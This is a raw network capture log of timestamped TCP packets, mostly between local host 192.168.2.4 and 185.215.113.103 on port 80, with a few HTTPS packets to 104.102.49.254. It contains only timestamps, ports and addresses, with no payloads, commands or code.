Oct 18, 2024 15:04:27.819526911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819533110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819538116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819550037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819561005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819571972 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819572926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819586039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819592953 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819597960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819608927 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819619894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819632053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819633961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819634914 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819645882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819658995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819670916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819700003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819700003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819700003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819735050 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820425987 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820436954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820446968 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820457935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820471048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820483923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820483923 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820494890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820507050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820508957 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820513964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820525885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820529938 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820538044 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820549965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820550919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820565939 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820569992 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820575953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820583105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820589066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.820589066 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820606947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.820652008 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821234941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821247101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821259022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821269989 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821307898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821307898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821360111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821372032 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821382999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821394920 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821405888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821417093 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821424007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821436882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821449995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821450949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821450949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821461916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821474075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821475029 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821485996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.821515083 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.821532965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822257996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822269917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822279930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822290897 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822302103 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822314024 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822314978 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822325945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822339058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822350025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822369099 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822376013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822388887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822402000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822412014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822422028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822427988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822439909 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822443962 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822451115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822463036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822463989 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822474957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822480917 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822488070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822499990 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822505951 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822523117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822540045 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822860956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822874069 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822885036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822896004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822912931 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822918892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822927952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.822947025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822972059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.822994947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823008060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823015928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823041916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823052883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823057890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823065042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823079109 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823087931 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823098898 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823111057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823112965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823123932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823134899 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823142052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823168993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823187113 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823724031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823735952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823748112 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823760033 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823770046 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.823781967 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.823818922 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849174976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849188089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849203110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849257946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849271059 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849329948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849339962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849411011 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849458933 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849473953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849478960 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849487066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849500895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849503994 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849536896 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849551916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849560022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849565029 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849585056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849592924 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849626064 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849626064 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849677086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849688053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849699974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849713087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849728107 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849761009 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.849855900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849952936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849965096 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849977016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.849988937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850001097 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850004911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850039005 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850039005 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850306988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850327015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850338936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850351095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850359917 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850363016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850378036 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850380898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850389957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850403070 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850428104 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850445032 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850450039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850462914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850475073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850486040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850497961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850502968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850526094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850550890 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850678921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850689888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850701094 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850713968 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850724936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850728989 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850754976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850779057 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850838900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850883007 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850941896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850954056 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850966930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850979090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.850985050 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.850991964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851003885 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851006031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851020098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851030111 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851033926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851049900 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851070881 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851227045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851238966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851248980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851262093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851273060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851278067 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851303101 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851319075 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851356030 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851366997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851377010 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851396084 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851408005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851412058 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851417065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851432085 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851433039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851444960 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851450920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851457119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851471901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851488113 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851509094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851918936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851929903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851943970 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851954937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851967096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851968050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851984978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.851988077 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.851998091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.852008104 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.852009058 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.852020979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.852030039 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.852035046 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.852050066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.852049112 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.852076054 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.852076054 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.852096081 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.856406927 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:27.856481075 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.857956886 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.857981920 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:27.858319044 CEST	443	49890	104.102.49.254	192.168.2.4
Oct 18, 2024 15:04:27.901313066 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.911748886 CEST	49890	443	192.168.2.4	104.102.49.254
Oct 18, 2024 15:04:27.935460091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935472965 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935486078 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935534954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935539007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935551882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935564041 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935575962 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935576916 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935604095 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935627937 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935770988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935784101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935796022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935805082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935818911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935832977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935844898 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935853004 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935857058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935869932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935878038 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935883045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.935899019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.935924053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936110020 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936122894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936134100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936176062 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936176062 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936228037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936239958 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936250925 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936261892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936273098 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936275959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936295986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936296940 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936310053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936325073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936326027 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936347961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936357021 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936501980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936513901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936525106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936548948 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936566114 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936661005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936672926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936683893 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936696053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936707020 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936709881 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936717987 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936736107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936738968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936757088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936780930 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936881065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936893940 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936906099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936918974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.936928034 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.936950922 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937084913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937098980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937109947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937122107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937134027 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937134027 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.937146902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.937149048 CEST	49884	80	192.168.2.4	185.215.113.103
